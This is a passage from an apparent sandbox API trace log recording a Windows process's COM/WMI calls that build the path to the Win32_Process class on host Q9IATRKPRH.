Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd92e0) returned 0x0 [0141.978] WbemDefPath:IUnknown:Release (This=0x1bce5da0) returned 0x0 [0141.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd92e0) returned 0x0 [0141.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.979] WbemDefPath:IUnknown:AddRef (This=0x1bcd92e0) returned 0x3 [0141.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5d60) returned 0x0 [0141.979] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.979] WbemDefPath:IUnknown:Release (This=0x1bce5d60) returned 0x3 [0141.979] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.979] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.979] WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x2 [0141.979] WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x1 [0141.979] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.979] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd92e0) returned 0x0 [0141.979] WbemDefPath:IUnknown:AddRef (This=0x1bcd92e0) returned 0x3 [0141.979] WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x2 [0141.979] WbemDefPath:IWbemPath:SetText (This=0x1bcd92e0, uMode=0x4, pszPath="") returned 0x0 [0141.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd92e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd93a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.980] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd92e0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0141.980] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd92e0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0141.980] WbemDefPath:IWbemPath:SetServer (This=0x1bcd92e0, Name="Q9IATRKPRH") returned 0x0 [0141.980] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.980] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.980] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.980] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.982] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5c80) returned 0x0 [0141.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5c80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.982] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5c80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9160) returned 0x0 [0141.982] WbemDefPath:IUnknown:Release (This=0x1bce5c80) returned 0x0 [0141.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9160) returned 0x0 [0141.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.982] WbemDefPath:IUnknown:AddRef (This=0x1bcd9160) returned 0x3 [0141.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5cc0) returned 0x0 [0141.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5cc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.983] WbemDefPath:IUnknown:Release (This=0x1bce5cc0) returned 0x3 [0141.983] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.983] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.983] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x2 [0141.983] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x1 [0141.983] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.983] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9160) returned 0x0 [0141.983] WbemDefPath:IUnknown:AddRef (This=0x1bcd9160) returned 0x3 [0141.983] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x2 [0141.983] WbemDefPath:IWbemPath:SetText (This=0x1bcd9160, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd92e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9160, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9160, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9160, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0141.983] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd92e0) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9160, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9160, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0141.983] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9160, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0141.983] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd92e0, uIndex=0x0, pszName="ROOT") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9160, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9160, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0141.984] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd92e0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd92e0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0141.984] WbemDefPath:IWbemPath:SetClassName (This=0x1bcd92e0, Name="Win32_Process") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd92e0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd92e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd92e0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd92e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0141.984] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0141.984] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0141.985] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0141.986] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0141.986] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.987] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bce6800) returned 0x0 [0141.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6800, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0141.988] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6800, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bcd90a0) returned 0x0 [0141.988] WbemDefPath:IUnknown:Release (This=0x1bce6800) returned 0x0 [0141.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bcd90a0) returned 0x0 [0141.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0141.988] WbemDefPath:IUnknown:AddRef (This=0x1bcd90a0) returned 0x3 [0141.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0141.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0141.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bce6840) returned 0x0 [0141.989] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6840, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.989] WbemDefPath:IUnknown:Release (This=0x1bce6840) returned 0x3 [0141.989] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0141.989] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0141.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0141.989] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x2 [0141.989] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x1 [0141.989] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0141.989] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0141.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bcd90a0) returned 0x0 [0141.989] WbemDefPath:IUnknown:AddRef (This=0x1bcd90a0) returned 0x3 [0141.989] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x2 [0141.990] WbemDefPath:IWbemPath:SetText (This=0x1bcd90a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0141.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.990] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0141.990] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.990] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.990] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.990] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.990] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.992] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce6880) returned 0x0 [0141.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.992] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd8fe0) returned 0x0 [0141.992] WbemDefPath:IUnknown:Release (This=0x1bce6880) returned 0x0 [0141.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd8fe0) returned 0x0 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: 